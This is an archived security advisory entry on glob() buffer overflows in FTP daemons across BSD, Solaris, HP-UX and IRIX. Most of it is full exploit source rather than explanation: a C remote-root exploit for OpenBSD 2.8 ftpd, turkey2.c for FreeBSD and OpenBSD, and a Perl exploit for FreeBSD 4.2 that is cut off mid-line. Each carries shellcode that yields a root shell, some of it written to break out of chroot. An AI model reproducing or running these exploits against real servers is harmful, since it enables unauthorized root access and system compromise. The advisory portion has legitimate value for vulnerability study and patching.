COMMAND
ftpd
SYSTEMS AFFECTED
Multiple FTP Daemons
PROBLEM
Following is based on a Network Associates COVERT Labs Security
Advisory COVERT-2001-02. Multiple FTP server implementations
contain buffer overflows that allow local and remote attackers to
gain root privileges on affected servers. These vulnerabilities
are contingent upon the remote user having the ability to create
directories on the server hosting the FTP daemon, with the
exception of a few cases noted below. The vulnerabilities
presented are all related to the use of the glob() function, and
can be divided into the following two categories:
- glob() expansion vulnerabilities
User input that has been expanded by glob() can exceed expected
lengths and trigger otherwise benign buffer mismanagement
problems present in certain FTP daemons.
- glob() implementation vulnerabilities
Certain implementations of the glob() function contain buffer
overflows. These vulnerabilities are exploitable through FTP
daemons that utilize these problematic implementations.
The following operating systems have been confirmed to contain
vulnerable FTP daemons:
FreeBSD 4.2 CAN-2001-0247
OpenBSD 2.8
NetBSD 1.5
IRIX 6.5.x
HPUX 11 CAN-2001-0248
Solaris 8 CAN-2001-0249
glob() implements filename pattern matching, following rules
similar to those used by Unix shells. It is a pathname generator,
which accepts an input pattern representing a set of filenames
and returns a list of accessible pathnames matching that pattern.
The input pattern is specified by using special metacharacters,
taken from the following: *?[]{}~'. For example, a pattern of
'/e*' would match all directories and files in the root of the
file system that begin with the character 'e'.
The File Transfer Protocol (FTP), as defined in RFC959, describes
numerous commands with pathname arguments that specify files or
directories. Though it is not required by the specification, most
FTP daemon implementations provide server-side globbing
functionality that performs pattern expansion on these pathnames.
The actual glob() implementation is often located in the FTP
daemon itself, though some FTP servers use an underlying libc
implementation.
The ability of a remote or local user to deliver input patterns to
glob() implementations allows for two general types of security
exposures.
glob() expansion vulnerabilities
================================
A number of vulnerabilities result from an FTP daemon assuming
that the length of the user input is limited to the number of
characters that are read in from the socket. This is typically
512 characters. This assumption is problematic because most FTP
daemons contain a parser rule for processing pathnames beginning
with a tilde. The intended effect of this rule is to replace the
tilde directory component with the referenced home directory.
However, since this is performed by running the string through the
glob() function, the FTP daemon will also expand any other
wildcard characters present. This allows for user input that can
exceed the number of characters read in from the socket, which can
make otherwise benign unbounded string operations exploitable.
As mentioned above, when an FTP daemon receives a request
involving a file that has a tilde as its first character, it
typically runs the entire filename string through globbing code
in order to resolve the specified home directory into a full
path. This has the side effect of expanding other metacharacters
in the pathname string, which can lead to very large input
strings being passed into the main command processing routines.
This can lead to exploitable buffer overflow conditions, depending
upon how these routines manipulate their input.
In Solaris, an exploitable heap overflow of this nature is
triggered by using the LIST command. This vulnerability occurs
when the FTP daemon attempts to construct a string using unbounded
string operations in order to execute the /bin/ls program.
HPUX contains a stack based overflow of this nature that can be
triggered by the use of the STAT command.
glob() implementation vulnerabilities
=====================================
Certain glob() implementations contain buffer overflows in their
internal utility functions. These overflows are typically
triggered by requesting a pattern that expands to a very large
pathname, or by submitting a pattern that the user intends to have
the FTP daemon run through glob() twice.
There are two implementations of glob() that are known to contain
buffer overflow vulnerabilities.
Implementations based off of the c-shell globbing code contain a
buffer overflow that can be triggered by supplying a pattern
string such that a set of brackets {} is followed by a string that
is longer than the length reserved for the stack based buffer
defined in execbrc(). This could be exploited by utilizing a
code path in the FTP daemon that fed the expanded output of one
globbed pathname into a second call to glob().
BSD implementations of glob() contain four exploitable buffer
overflows. The first buffer overflow occurs in the static utility
function g_opendir(), which copies the provided pathname onto the
stack. This is performed using the function g_Ctoc, which
converts a 16-bit character string to an 8-bit character string,
but otherwise works like strcpy. Similar overflows occur in
g_lstat(), and g_stat(). A fourth overflow, one that affects the
stack based buffer reserved in glob0, is the result of the
behavior of the mutually recursive functions glob2() and glob3().
Note that these vulnerabilities do not require the last component
of the provided directory to be a valid file, thus allowing
exploitation even without the ability to create directories and
files. Testing has shown that it would be possible to exploit
OpenBSD and NetBSD without a writable directory being present if a
directory name with a length of 12 characters is available.
FreeBSD can be exploited without a writable directory being
present if a directory name of length 9 is available.
Discovery and documentation of these vulnerabilities was conducted
by John McDonald and Anthony Osborne of the COVERT Labs at PGP
Security.
Tomas Kindahl posted OpenBSD 2.8 ftpd/glob exploit:
/*
OpenBSD 2.x - 2.8 ftpd exploit.
It is possible to exploit an anonymous ftp without write permission
under certain circumstances. One is most likely to succeed if there
is a single directory somewhere with more than 16 characters in its
name.
Of course, if one has write permissions, one could easily create
such a directory.
My return values aren't that good. Find your own.
Patch is available at http://www.openbsd.org/errata.html
Example:
ftp> pwd
257 "/test" is current directory.
ftp> dir
229 Entering Extended Passive Mode (|||12574|)
150 Opening ASCII mode data connection for '/bin/ls'.
total 2
drwxr-xr-x 2 1000 0 512 Apr 14 14:14 12345678901234567
226 Transfer complete.
.....
$ ./leheehel -c /test -l 17 -s0xdfbeb970 localhost
// 230 Guest login ok, access restrictions apply.
// 250 CWD command successful.
retaddr = dfbeb970
Press enter..
remember to remove the "adfa"-dir
id
uid=0(root) gid=32766(nogroup) groups=32766(nogroup)
The shellcode basically does:
seteuid(0); a = open("..", O_RDONLY); mkdir("adfa", 555);
chroot("adfa"); fchdir(a); for(cnt = 100; cnt; cnt--)
chdir("..");
chroot(".."); execve("/bin//sh", ..);
Credits:
COVERT for their advisory.
The OpenBSD devteam for a great OS.
beercan for letting me test this on his OpenBSD 2.8-RELEASE
Author:
Tomas Kindahl <stok@codefactory.se>
Stok@{irc,ef}net
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
extern char *optarg;
static int debug;
int cflag, lflag, sflag;
/* The execve-part was stolen from "predator" */
char shellcode[] =
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
"\x58\x50\x66\x68\x2e\x2e\x89\xe1"
"\x50\x51\x50\xb0\x05\xcd\x80\x89"
"\xc3\x58\x50\x68\x61\x64\x66\x61"
"\x89\xe2\x66\x68\x6d\x01\x52\x50"
"\xb0\x88\xcd\x80\xb0\x3d\xcd\x80"
"\x53\x50\xb0\x01\x83\xc0\x0c\xcd"
"\x80\x51\x50\x31\xc9\xb1\x64\xb0"
"\x0c\xcd\x80\xe2\xfa\xb0\x3d\xcd"
"\x80\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x50\x54\x53\xb0\x3b\x50"
"\xcd\x80\xc3";
#define USER "USER ftp\r\n"
#define PASS "PASS -user@\r\n"
void usage(const char *);
void docmd(int s, const char *cmd, int print);
void communicate(int s);
int main(int argc, char *argv[])
{
char expbuf[512] = "LIST ", *basedir, option;
char commandbuf[512] = "", *hostname;
int cnt, dirlen, explen, sendlen;
int s, port = 21, pad;
long retaddr;
struct sockaddr_in sin;
struct hostent *he;
while((option = getopt(argc, argv, "dc:l:p:s:")) != -1)
switch(option)
{
case 'd':
debug++;
break;
case 'c':
cflag = 1;
basedir = optarg;
break;
case 'l':
lflag = 1;
dirlen = atoi(optarg);
if(dirlen < 16)
{
usage(argv[0]);
exit(0);
}
break;
case 'p':
port = atoi(optarg);
break;
case 's':
sflag = 1;
retaddr = strtoul(optarg, 0, 0);
break;
default:
usage(argv[0]);
exit(0);
}
if(!cflag || !lflag)
{
usage(argv[0]);
exit(0);
}
if(argc - optind == 1)
hostname = argv[optind];
else
{
usage(argv[0]);
exit(0);
}
if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
exit(1);
}
if((he = gethostbyname(hostname)) == NULL)
{
herror(hostname);
exit(0);
}
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
memcpy(&sin.sin_addr, he->h_addr_list[0], sizeof(struct in_addr));
if(connect(s, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) == -1)
{
perror("connect");
exit(0);
}
if(debug)
fprintf(stderr, "// basedir = \"%s\"\n", basedir);
/* "untrusted input"? */
for(cnt = 0; cnt < 1024/(dirlen+4)-1; cnt++)
strcat(expbuf, "*/../");
strcat(expbuf, "*/");
if(debug)
fprintf(stderr, "// expbuf = \"%s\"\n", expbuf);
explen = cnt*(dirlen+4) + dirlen + 1;
if(debug)
fprintf(stderr, "// explen = %d\n", explen);
sendlen = strlen(expbuf);
if(debug)
fprintf(stderr, "// sendlen = %d\n", sendlen);
docmd(s, "", 0);
docmd(s, USER, 0);
docmd(s, PASS, 1);
snprintf(commandbuf, sizeof(commandbuf), "CWD %s\r\n", basedir);
docmd(s, commandbuf, 1);
/*************************/
pad = 1027 - explen;
if(debug)
fprintf(stderr, "// pad = %d\n", pad);
for(; pad >= 0; pad--)
strcat(expbuf, "x");
/* return address */
if(!sflag)
{
switch(dirlen)
{
case 16:
retaddr = 0xdfbeab60;
case 26:
retaddr = 0xdfbefe40;
default:
/* I don't have the patience to investigate this. */
retaddr = 0xdfbeba20 + (dirlen-17)*0x9c0;
}
retaddr+=20;
}
fprintf(stderr, "retaddr = %.8lx\n", retaddr);
/* endian dependant */
strncat(expbuf, (char *) &retaddr, 4);
for(cnt = strlen(expbuf); cnt < 508-strlen(shellcode); cnt++)
strcat(expbuf, "\x90");
strcat(expbuf, shellcode);
strcat(expbuf, "\r\n");
/*************************/
fprintf(stderr, "Press enter.."); fflush(stderr);
fgets(commandbuf, sizeof(commandbuf)-1, stdin);
docmd(s, expbuf, 0);
fprintf(stderr, "remember to remove the \"adfa\"-dir\n");
communicate(s);
return 0;
}
void usage(const char *s)
{
fprintf(stderr, "Usage %s [-s retaddr] [-d] -c dir -l dirlen(>=16) [-p port] hostname\n", s);
}
void docmd(int s, const char *cmd, int print)
{
char uglybuf[1024];
int len;
fd_set rfds;
struct timeval tv;
len = strlen(cmd);
if(debug)
{
write(STDERR_FILENO, "\\\\ ", 3);
write(STDERR_FILENO, cmd, len);
}
if(send(s, cmd, len, 0) != len)
{
perror("send");
exit(0);
}
FD_ZERO(&rfds);
FD_SET(s, &rfds);
tv.tv_sec = 1;
tv.tv_usec = 0;
select(s+1, &rfds, NULL, NULL, &tv);
if(FD_ISSET(s, &rfds))
{
if((len = recv(s, uglybuf, sizeof(uglybuf), 0)) < 0)
{
perror("recv");
exit(0);
}
if(len == 0)
{
fprintf(stderr, "EOF on socket. Sorry.\n");
exit(0);
}
if(debug || print)
{
write(STDERR_FILENO, "// ", 3);
write(STDERR_FILENO, uglybuf, len);
}
}
}
void communicate(int s)
{
char buf[1024];
int len;
fd_set rfds;
while(1)
{
FD_ZERO(&rfds);
FD_SET(STDIN_FILENO, &rfds);
FD_SET(s, &rfds);
select(s+1, &rfds, NULL, NULL, NULL);
if(FD_ISSET(STDIN_FILENO, &rfds))
{
if((len = read(STDIN_FILENO, buf, sizeof(buf))) <= 0)
return;
if(send(s, buf, len, 0) == -1)
return;
}
if(FD_ISSET(s, &rfds))
{
if((len = recv(s, buf, sizeof(buf), 0)) <= 0)
return;
if(write(STDOUT_FILENO, buf, len) == -1)
return;
}
}
}
'fish stiqz' posted following. You must have an account on the
system to be able to use the exploit. You could theoretically be
an anonymous user with access to a writeable directory, but it
would require a chroot break, which is not included in the
exploit. turkey2.c works by default on all unpatched FreeBSD
4.[0-2] running the default ftp server and OpenBSD 2.8. It should
work elsewhere with a tiny bit of tuning.
/*
* turkey2.c - "gobble gobble"
*
* REMOTE ROOT EXPLOIT FOR BSD FTPD
* by: fish stiqz <fish@analog.org> 04/14/2001
*
* shouts: trey, dono, hampton and The Analog Organization.
*
* Notes:
* Doesn't break chroot so requires an account.
*
* Fixed a design issue I had previously overlooked.
* Added support for OpenBSD 2.8 =).
*
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <ctype.h>
#include <pwd.h>
#define FTP_PORT 21
#define MAXX(a,b) ((a) < (b) ? (b) : (a))
#define NOP 0x41 /* inc %ecx, works just like a nop, easier to read */
extern int errno;
int debug_read;
int debug_write;
/*
* Non-ripped 45 byte bsd shellcode which does setuid(0) and execve()
* and does not contain any '/' characters.
*/
char bsdcode[] =
"\x29\xc0\x50\xb0\x17\x50\xcd\x80"
"\x29\xc0\x50\xbf\x66\x69\x73\x68"
"\x29\xf6\x66\xbe\x49\x46\x31\xfe"
"\x56\xbe\x49\x0b\x1a\x06\x31\xfe"
"\x56\x89\xe3\x50\x54\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";
/* architecture structure */
struct arch {
char *description;
char *shellcode;
unsigned long code_addr;
};
/* available targets */
struct arch archlist[] =
{
{ "FreeBSD 4.X (FTP server (Version 6.00LS))", bsdcode, 0xbfbfc2c8 },
{ "OpenBSD 2.8 (FTP server (Version 6.5/OpenBSD))", bsdcode, 0xdfbfa1c8 }
};
/*
* function prototypes.
*/
void *Malloc(size_t);
void *Realloc(void *, size_t);
char *Strdup(char *);
int get_ip(struct in_addr *, char *);
int tcp_connect(char *, unsigned int);
ssize_t write_sock(int, char *);
int sock_readline(int, char *, int);
char *read_sock(int);
int ftp_login(int, char *, char *);
char *ftp_gethomedir(int);
int ftp_mkdir(int, char *);
int ftp_chdir(int, char *);
int ftp_quit(int);
void possibly_rooted(int);
char *random_string(void);
void send_glob(int, char *);
int ftp_glob_exploit(int, char *, unsigned long, char *);
int verify_shellcode(char *);
void usage(char *);
void list_targets(void);
/*
* Error cheq'n wrapper for malloc.
*/
void *Malloc(size_t n)
{
void *tmp;
if((tmp = malloc(n)) == NULL)
{
fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}
return tmp;
}
/*
* Error cheq'n realloc.
*/
void *Realloc(void *ptr, size_t n)
{
void *tmp;
if((tmp = realloc(ptr, n)) == NULL)
{
fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}
return tmp;
}
/*
* Error cheq'n strdup.
*/
char *Strdup(char *str)
{
char *s;
if((s = strdup(str)) == NULL)
{
fprintf(stderr, "strdup failed! exiting...\n");
exit(EXIT_FAILURE);
}
return s;
}
/*
* translates a host from its string representation (either in numbers
* and dots notation or hostname format) into its binary ip address
* and stores it in the in_addr struct passed in.
*
* return values: 0 on success, != 0 on failure.
*/
int get_ip(struct in_addr *iaddr, char *host)
{
struct hostent *hp;
/* first check to see if its in num-dot format */
if(inet_aton(host, iaddr) != 0)
return 0;
/* next, do a gethostbyname */
if((hp = gethostbyname(host)) != NULL)
{
if(hp->h_addr_list != NULL)
{
memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
return 0;
}
return -1;
}
return -1;
}
/*
* initiates a tcp connection to the specified host (either in
* ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
* to the host's tcp port.
*
* return values: != -1 on success, -1 on failure.
*/
int tcp_connect(char *host, unsigned int port)
{
int sock;
struct sockaddr_in saddress;
struct in_addr *iaddr;
iaddr = Malloc(sizeof(struct in_addr));
/* write the hostname information into the in_addr structure */
if(get_ip(iaddr, host) != 0)
return -1;
saddress.sin_addr.s_addr = iaddr->s_addr;
saddress.sin_family = AF_INET;
saddress.sin_port = htons(port);
/* create the socket */
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return -1;
/* make the connection */
if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
{
close(sock);
return -1;
}
/* everything succeeded, return the connected socket */
return sock;
}
/*
* a wrapper for write to enable us to do some debugging.
*/
int write_sock(int fd, char *buf)
{
if(debug_write)
printf(" > %s", buf);
return write(fd, buf, strlen(buf));
}
/*
* reads a line from the socket, stores it into buffer,
* doesnt null terminate.
*/
int sock_readline(int sock, char *buffer, int maxsize)
{
int x, r;
char rchar;
for(x = 0; x < maxsize; x++)
{
/* read in one character from the socket */
if((r = read(sock, &rchar, 1)) == 1)
{
buffer[x] = rchar;
if(rchar == '\n')
break;
}
else
return -1;
}
return x;
}
/*
* reads in an entire message from the ftp server.
*/
char *read_sock(int sock)
{
char ibuf[8192], *bigbuf = NULL;
int r;
unsigned int total = 0;
for(;;)
{
memset(ibuf, 0x0, sizeof(ibuf));
r = sock_readline(sock, ibuf, sizeof(ibuf) - 1);
bigbuf = Realloc(bigbuf, (total + strlen(ibuf) + 1) * sizeof(char));
memcpy(bigbuf + total, ibuf, strlen(ibuf));
bigbuf[total + strlen(ibuf)] = 0x0;
total += strlen(ibuf);
if(strlen(ibuf) < 4)
break;
/* multi-lined responses have a dash as the 4th character */
if(ibuf[3] != '-')
break;
}
if(debug_read)
{
printf(" < %s", bigbuf);
fflush(stdout);
}
return bigbuf;
}
/*
* FTP LOGIN function. Issues a "USER <username> and then "PASS <password>"
* to login to the remote host and checks that command succeeded.
*/
int ftp_login(int sock, char *username, char *password)
{
char *recvbuf;
char *sendbuf;
char *header;
header = read_sock(sock);
printf("\tserver runs:\t%s", header);
free(header);
sendbuf = Malloc((MAXX(strlen(username), strlen(password)) + 7) *
sizeof(char));
sprintf(sendbuf, "USER %s\n", username);
write_sock(sock, sendbuf);
recvbuf = read_sock(sock);
if(atoi(recvbuf) != 331)
{
free(recvbuf);
return 0;
}
sprintf(sendbuf, "PASS %s\n", password);
write_sock(sock, sendbuf);
recvbuf = read_sock(sock);
if(atoi(recvbuf) != 230)
{
free(recvbuf);
return 0;
}
free(sendbuf);
return 1;
}
/*
* FTP GET HOME DIR function. Issues a "CWD ~" and "PWD" to
* force the ftp daemon to print our our current directory.
*/
char *ftp_gethomedir(int sock)
{
char *recvbuf;
char *homedir = NULL;
write_sock(sock, "CWD ~\n");
recvbuf = read_sock(sock);
if(atoi(recvbuf) == 250)
{
write_sock(sock, "PWD\n");
recvbuf = read_sock(sock);
if(atoi(recvbuf) == 257)
{
char *front, *back;
front = strchr(recvbuf, '"');
front++;
back = strchr(front, '"');
homedir = Malloc((back - front) * sizeof(char));
strncpy(homedir, front, (back - front));
homedir[(back - front)] = 0x0;
}
}
free(recvbuf);
return homedir;
}
/*
* FTP MKDIR function. Issues an "MKD <dirname>" to create a directory on
* the remote host and checks that the command succeeded.
*/
int ftp_mkdir(int sock, char *dirname)
{
char *recvbuf;
char *sendbuf;
sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
sprintf(sendbuf, "MKD %s\n", dirname);
write_sock(sock, sendbuf);
recvbuf = read_sock(sock);
free(sendbuf);
if(atoi(recvbuf) == 257)
{
free(recvbuf);
return 1;
}
free(recvbuf);
return 0;
}
/*
* FTP CWD function. Issues a "CWD <dirname>" to change directory on
* the remote host and checks that the command succeeded.
*/
int ftp_chdir(int sock, char *dirname)
{
char *recvbuf;
char *sendbuf;
sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
sprintf(sendbuf, "CWD %s\n", dirname);
write_sock(sock, sendbuf);
recvbuf = read_sock(sock);
free(sendbuf);
if(atoi(recvbuf) == 250)
{
free(recvbuf);
return 1;
}
free(recvbuf);
return 0;
}
/*
* FTP QUIT function. Issues a "QUIT" to terminate the connection.
*/
int ftp_quit(int sock)
{
char *recvbuf;
write_sock(sock, "QUIT\n");
recvbuf = read_sock(sock);
free(recvbuf);
close(sock);
return 1;
}
/*
* switches between the user and the remote shell (if everything went well).
*/
void possibly_rooted(int sock)
{
char banner[] =
"cd /; echo; uname -a; echo; id; echo; echo Welcome to the shell, "
"enter commands at will; echo;\n\n";
char buf[1024];
fd_set fds;
int r;
write(sock, banner, strlen(banner));
for(;;)
{
FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sock, &fds);
select(255, &fds, NULL, NULL, NULL);
if(FD_ISSET(sock, &fds))
{
memset(buf, 0x0, sizeof(buf));
r = read (sock, buf, sizeof(buf) - 1);
if(r <= 0)
{
printf("Connection closed.\n");
exit(EXIT_SUCCESS);
}
printf("%s", buf);
}
if(FD_ISSET(fileno(stdin), &fds))
{
memset(buf, 0x0, sizeof(buf));
read(fileno(stdin), buf, sizeof(buf) - 1);
write(sock, buf, strlen(buf));
}
}
close(sock);
}
/*
* generates a string of 6 random characters.
* this is too allow for multiple successful runs, best way to do
* this is to actually remove the created directories.
*/
char *random_string(void)
{
int i;
char *s = Malloc(7 * sizeof(char));
srand(time(NULL));
for(i = 0; i < 6; i++)
s[i] = (rand() % (122 - 97)) + 97;
s[i] = 0x0;
return s;
}
/*
* sends the glob string, to overflow the daemon.
*/
void send_glob(int sock, char *front)
{
char globbed[] = "CWD ~/NNNNNN*/X*/X*/X*\n";
int i, j;
for(i = 6, j = 0; i < 6 + 6; i++, j++)
globbed[i] = front[j];
write_sock(sock, globbed);
printf("[5] Globbed commands sent.\n");
free(front);
/* start our shell handler */
possibly_rooted(sock);
}
/*
* Exploitation routine.
* Makes 4 large directories and then cwd's to them.
*/
int ftp_glob_exploit(int sock, char *homedir, unsigned long addy, char *shellcode)
{
char dir[300];
int i = 0, j = 0;
int total = strlen(homedir) + 1;
int align;
char *rstring = random_string();
/* go to the writeable directory */
if(!ftp_chdir(sock, homedir))
{
fprintf(stderr, "[-] Failed to change directory, aborting!\n");
return 0;
}
for(i = 0; i < 4; i++)
{
memset(dir, 0x0, sizeof(dir));
switch(i)
{
case 0: /* first dir == shellcode */
memcpy(dir, rstring, strlen(rstring));
memset(dir + strlen(rstring), NOP, 255 - strlen(rstring));
memcpy(&dir[(255 - strlen(shellcode))], shellcode, strlen(shellcode));
break;
case 3: /* address buffer */
/* calculate the alignment */
align = total % sizeof(long);
align = sizeof(long) - align;
printf("[3] Calculated alignment = %d, total = %d\n",
align, total);
strcpy(dir, "XXXX");
memset(dir + 4, 'X', align);
for(j = 4 + align; j < 250; j += 4)
{
/* leet portable bit shifting */
/* brought to you by trey */
unsigned long p_addy = htonl(addy);
dir[j + 0] = p_addy & 0xff;
dir[j + 1] = (p_addy & 0xff00) >> 8;
dir[j + 2] = (p_addy & 0xff0000) >> 16;
dir[j + 3] = (p_addy & 0xff000000) >> 24;
}
break;
default: /* cases 1 and 2, extra overflow bytes */
memset(dir, 'X', 255);
break;
}
total += strlen(dir) + 1;
if(!ftp_mkdir(sock, dir))
{
fprintf(stderr, "[-] Failed to generate directories, aborting!\n");
return 0;
}
if(!ftp_chdir(sock, dir))
{
fprintf(stderr, "[-] Failed to change directory, aborting!\n");
return 0;
}
}
printf("[4] Evil directories created.\n");
if(!ftp_chdir(sock, homedir))
{
fprintf(stderr, "[-] Failed to cwd back to %s, aborting!\n", homedir);
return 0;
}
/* perform the final attack */
send_glob(sock, rstring);
return 1;
}
/*
* returns true if the shellcode passes, false otherwise.
*/
int verify_shellcode(char *code)
{
int i, s = 0;
if(strlen(code) > 255)
{
fprintf(stderr, "[-] Shellcode length exceeds 255, aborting!\n");
return 0;
}
for(i = 0; i < strlen(code); i++)
{
if(code[i] == '/')
s++;
}
if(s > 0)
{
fprintf(stderr,
"[-] Shellcode contains %u slash characters, aborting\n", s);
return 0;
}
return 1;
}
/*
* displays the usage message and exits.
*/
void usage(char *p)
{
fprintf(stderr,
"BSD ftpd remote exploit by fish stiqz <fish@analog.org>\n"
"usage: %s [options]\n"
"\t-c\tremote host to connect to\n"
"\t-o\tremote port to use\n"
"\t-u\tremote username\n"
"\t-p\tremote password\n"
"\t-i\tget the password interactively\n"
"\t-t\tpredefined target (\"-t list\" to list all targets)\n"
"\t-d\twriteable directory\n"
"\t-l\tshellcode address\n"
"\t-v\tdebug level [0-2]\n"
"\t-s\tseconds to sleep after login (debugging purposes)\n"
"\t-h\tdisplay this help\n", p);
exit(EXIT_FAILURE);
}
/*
* lists all available targets.
*/
void list_targets(void)
{
int i;
printf("Available Targets:\n");
for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ )
printf("%i: %s\n", i, archlist[i].description);
return;
}
int main(int argc, char **argv)
{
int sock, c;
int port = FTP_PORT;
int debuglevel = 0;
char *host = NULL;
char *username = NULL;
char *password = NULL;
struct arch *arch = NULL;
char *shellcode = bsdcode;
int target = 0;
int sleep_time = 0;
unsigned long code_addr = 0;
char *homedir = NULL;;
/* grab command line parameters */
while((c = getopt(argc, argv, "c:o:u:p:it:d:l:v:s:h")) != EOF)
{
switch(c)
{
case 'c':
host = Strdup(optarg);
break;
case 'o':
port = atoi(optarg);
break;
case 'u':
username = Strdup(optarg);
break;
case 'p':
password = Strdup(optarg);
/* hide the password from ps */
memset(optarg, 'X', strlen(optarg));
break;
case 'i':
password = getpass("Enter remote password: ");
break;
case 't':
if(strcmp(optarg, "list") == 0)
{
list_targets();
return EXIT_FAILURE;
}
target = atoi(optarg);
arch = &(archlist[target]);
code_addr = ntohl(arch->code_addr);
shellcode = arch->shellcode;
break;
case 'd':
homedir = Strdup(optarg);
break;
case 'l':
code_addr = ntohl(strtoul(optarg, NULL, 0));
break;
case 'v':
debuglevel = atoi(optarg);
break;
case 's':
sleep_time = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
/* check for required options */
if(host == NULL || username == NULL || password == NULL || code_addr == 0)
usage(argv[0]);
/* setup the debug level */
switch(debuglevel)
{
case 1:
debug_read = 1;
debug_write = 0;
break;
case 2:
debug_read = 1;
debug_write = 1;
break;
default:
debug_read = 0;
debug_write = 0;
break;
}
/* make sure the shellcode is good */
if(!verify_shellcode(shellcode))
return EXIT_FAILURE;
/* initiate the tcp connection to the ftp server */
if((sock = tcp_connect(host, port)) == -1)
{
fprintf(stderr, "[-] Connection to %s failed!\n", host);
ftp_quit(sock);
return EXIT_FAILURE;
}
if(arch == NULL)
printf("[0] Connected to host %s.\n", host);
else
printf("[0] Connected to host %s\n\tusing type:\t%s.\n",
host, arch->description);
/* login */
if(!ftp_login(sock, username, password))
{
fprintf(stderr, "[-] Login failed, aborting!\n");
ftp_quit(sock);
return EXIT_FAILURE;
}
/* hey, so im anal! */
memset(password, 'X', strlen(password));
memset(username, 'X', strlen(username));
printf("[1] Login succeeded.\n");
if(sleep != 0)
sleep(sleep_time);
if(homedir == NULL)
{
/* get home directory */
if((homedir = ftp_gethomedir(sock)) == NULL)
{
fprintf(stderr, "[-] Couldn't retrieve home directory, aborting!\n");
ftp_quit(sock);
return EXIT_FAILURE;
}
}
printf("[2] Home directory retrieved as \"%s\", %u bytes.\n",
homedir, strlen(homedir));
/* do the exploitation */
if(!ftp_glob_exploit(sock, homedir, code_addr, shellcode))
{
fprintf(stderr, "[-] exploit failed, aborting!\n");
ftp_quit(sock);
return EXIT_FAILURE;
}
free(host);
return EXIT_SUCCESS;
}
This is another version of globbing exploit. It creates only one
directory.
#!/usr/bin/perl
###############################################################################
# glob() ftpd remote root exploit for freebsd 4.2-stable #
# #
# babcia padlina ltd. / venglin@freebsd.lublin.pl #
# #
# this version requires user access and writeable homedir without chroot. #
###############################################################################
require 5.002;
use strict;
use sigtrap;
use Socket;
my($recvbuf, $host, $user, $pass, $iaddr, $paddr, $proto, $code, $ret, $off, $align, $rin, $rout, $read);
# teso shellcode ripped from 7350obsd
$code = "\x31\xc0\x99\x52\x52\xb0\x17\xcd\x80\x68\xcc\x73\x68\xcc\x68";
$code .= "\xcc\x62\x69\x6e\xb3\x2e\xfe\xc3\x88\x1c\x24\x88\x5c\x24\x04";
$code .= "\x88\x54\x24\x07\x89\xe6\x8d\x5e\x0c\xc6\x03\x2e\x88\x53\x01";
$code .= "\x52\x53\x52\xb0\x05\xcd\x80\x89\xc1\x8d\x5e\x05\x6a\xed\x53";
$code .= "\x52\xb0\x88\xcd\x80\x53\x52\xb0\x3d\xcd\x80\x51\x52\xb0\x0c";
$code .= "\x40\xcd\x80\xbb\xcc\xcc\xcc\xcc\x81\xeb\x9e\x9e\x9d\xcc\x31";
$code .= "\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\x8d";
$code .= "\x5e\x10\x53\x52\xb0\x3d\xcd\x80\x89\x76\x0c\x89\x56\x10\x8d";
$code .= "\x4e\x0c\x52\x51\x56\x52\xb0\x3b\xcd\x80\xc9\xc3\x55\x89\xe5";
$code .= "\x83\xec\x08\xeb\x12\xa1\x3c\x50\x90";
#$ret = 0xbfbfeae8; - stos lagoona
#$ret = 0x805baf8; - bss info
$ret = 0x805e23a; # - bss lagoon
if (@ARGV < 3)
{
print "Usage: $0 <hostname> <username> <password> [align] [offset]\n";
exit;
}
($host, $user, $pass, $align, $off) = @ARGV;
if (defined($off))
{
$ret += $off;
}
if (!defined($align))
{
$align = 1;
}
print "Globulka v1.0 by venglin\@freebsd.lublin.pl\n\n";
print "RET: 0x" . sprintf('%lx', $ret) . "\n";
print "Align: $align\n\n";
$iaddr = inet_aton($host) or die "Unknown host: $host\n";
$paddr = sockaddr_in(21, $iaddr) or die "getprotobyname: $!\n";
$proto = getprotobyname('tcp') or die "getprotobyname: $!\n";
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!\n";
connect(SOCKET, $paddr) or die "connect: $!\n";
do
{
$recvbuf = <SOCKET>;
}
while($recvbuf =~ /^220- /);
print $recvbuf;
if ($recvbuf !~ /^220 .+/)
{
die "Exploit failed.\n";
}
send(SOCKET, "USER $user\r\n", 0) or die "send: $!\n";
$recvbuf = <SOCKET>;
if ($recvbuf !~ /^(331|230) .+/)
{
print $recvbuf;
die "Exploit failed.\n";
}
send(SOCKET, "PASS $pass\r\n", 0) or die "send: $!\n";
$recvbuf = <SOCKET>;
if ($recvbuf !~ /^230 .+/)
{
print $recvbuf;
die "Exploit failed.\n";
}
else
{
print "Logged in as $user/$pass. Sending evil STAT command.\n\n";
}
send(SOCKET, "MKD " . "A"x255 . "\r\n", 0) or die "send: $!\n";
$recvbuf = <SOCKET>;
if ($recvbuf !~ /^(257|550) .+/)
{
print $recvbuf;
die "Exploit failed.\n";
}
send(SOCKET, "STAT A*/../A*/../A*/" . "\x90" x (90+$align) . $code .
